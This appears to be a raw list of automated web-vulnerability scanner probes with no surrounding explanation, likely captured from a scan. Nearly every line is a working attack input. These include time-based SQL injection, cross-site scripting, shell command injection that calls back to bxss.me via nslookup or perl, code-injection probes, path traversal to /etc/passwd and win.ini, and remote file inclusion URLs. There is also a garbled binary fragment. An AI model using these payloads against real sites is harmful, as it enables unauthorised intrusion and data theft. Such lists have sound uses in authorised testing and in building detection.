
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
pHwOS25K')) OR 923=(SELECT 923 FROM PG_SLEEP(12))--
PsFkjlC3') OR 741=(SELECT 741 FROM PG_SLEEP(12))--
mPYj6YjN' OR 843=(SELECT 843 FROM PG_SLEEP(12))--
-1)) OR 249=(SELECT 249 FROM PG_SLEEP(12))--
-5) OR 794=(SELECT 794 FROM PG_SLEEP(12))--
-5 OR 905=(SELECT 905 FROM PG_SLEEP(12))--
v9zha6aa')); waitfor delay '0:0:12' --
hqNPsif1'); waitfor delay '0:0:12' --
wRF7jJQG'; waitfor delay '0:0:12' --
1 waitfor delay '0:0:12' --
-1)); waitfor delay '0:0:12' --
-1); waitfor delay '0:0:12' --
-1; waitfor delay '0:0:12' --
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
if(now()=sysdate(),sleep(12),0)
340'
-1 OR 3*2>(0+5+370-370)
-1 OR 3*2<(0+5+370-370)
-1 OR 3+370-370-1=0+0+0+1
-1 OR 2+370-370-1=0+0+0+1
-1 OR 3*2>(0+5+179-179) --
-1 OR 3*2<(0+5+179-179) --
-1 OR 3+179-179-1=0+0+0+1 --
-1 OR 2+179-179-1=0+0+0+1 --
1*
1*
1*
1*
hNYZZCb0
<% contenteditable onresize=gmtH(9539)>
}body{acu:Expre/**/SSion(gmtH(9348))}
[url=http://xss.bxss.me][/url]
<%div style=width:expression(gmtH(9490))>
<ScRiPt>gmtH(9408)</sCripT>
\u003CScRiPt\gmtH(9116)\u003C/sCripT\u003E
%0D%0A%3C%53%63%52%69%50%74%20%3E%67%6D%74%48%289968%29%3C%2F%73%43%72%69%70%54%3E
{{50321*49314}}
CWS000x�=�1N�@E߮��I)�@�� �HiP"D�F�G&َ7��܂�rX;!S��̛����7Jq���.�>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)�x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g� ]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0
acux10729��z1��z2a�bcxuca10729
acu6968<s1﹥s2ʺs3ʹuca6968
9774763
/\xfs.bxss.me
//xfs.bxss.me
http://xfs.bxss.me
957990
".gethostbyname(lc("hitnq"."cpmfdqdefbf96.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(76).chr(119).chr(83)."
/xfs.bxss.me
ratecatalog/.
'.gethostbyname(lc('hitko'.'iosasumx50202.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(87).chr(104).chr(66).'
ratecatalog
ratecatalog
'"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'.print(md5(31337)).'
'"()
${@print(md5(31337))}\
;(nslookup hitgimqqwtaap25e4f.bxss.me||perl -e "gethostbyname('hitgimqqwtaap25e4f.bxss.me')")|(nslookup hitgimqqwtaap25e4f.bxss.me||perl -e "gethostbyname('hitgimqqwtaap25e4f.bxss.me')")&(nslookup hitgimqqwtaap25e4f.bxss.me||perl -e "gethostbyname('hitgimqqwtaap25e4f.bxss.me')")
${@print(md5(31337))}
`(nslookup hitkbeyvevcyo2efb0.bxss.me||perl -e "gethostbyname('hitkbeyvevcyo2efb0.bxss.me')")`
|(nslookup hitqfsnejjmpfb934f.bxss.me||perl -e "gethostbyname('hitqfsnejjmpfb934f.bxss.me')")
";print(md5(31337));$a="
&(nslookup hitmrdubqqtzt71300.bxss.me||perl -e "gethostbyname('hitmrdubqqtzt71300.bxss.me')")&'\"`0&(nslookup hitmrdubqqtzt71300.bxss.me||perl -e "gethostbyname('hitmrdubqqtzt71300.bxss.me')")&`'
';print(md5(31337));$a='
^(#$!@#$)(()))******
$(nslookup hitcsrfpcfdzzc895f.bxss.me||perl -e "gethostbyname('hitcsrfpcfdzzc895f.bxss.me')")
;print(md5(31337));
!(()&&!|*|*|
(nslookup hitdtbxehzqan8ceee.bxss.me||perl -e "gethostbyname('hitdtbxehzqan8ceee.bxss.me')")
)
|echo fawigm$()\ hvvpqb\nz^xyu||a #' |echo fawigm$()\ hvvpqb\nz^xyu||a #|" |echo fawigm$()\ hvvpqb\nz^xyu||a #
bxss.me
&echo tjngyx$()\ lylsyd\nz^xyu||a #' &echo tjngyx$()\ lylsyd\nz^xyu||a #|" &echo tjngyx$()\ lylsyd\nz^xyu||a #
http://bxss.me/t/fit.txt?.jpg
echo apjlai$()\ xpekam\nz^xyu||a #' &echo apjlai$()\ xpekam\nz^xyu||a #|" &echo apjlai$()\ xpekam\nz^xyu||a #
Http://bxss.me/t/fit.txt
1some_inexistent_file_with_long_name .jpg
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
./
../
ctime sleep p0 (I30 tp1 Rp2 .
../../../../../../../../../../windows/win.ini
"+response.write(9474727*9348810)+"
../../../../../../../../../../etc/passwd
'+response.write(9474727*9348810)+'
response.write(9474727*9348810)
${10000072+9999010}
'+'A'.concat(70-3).concat(22*4).concat(104).concat(87).concat(120).concat(79)+(require'socket' Socket.gethostbyname('hittv'+'uhtbbkjpf88fa.bxss.me.')[3].to_s)+'
12345'"\'\");|]* { <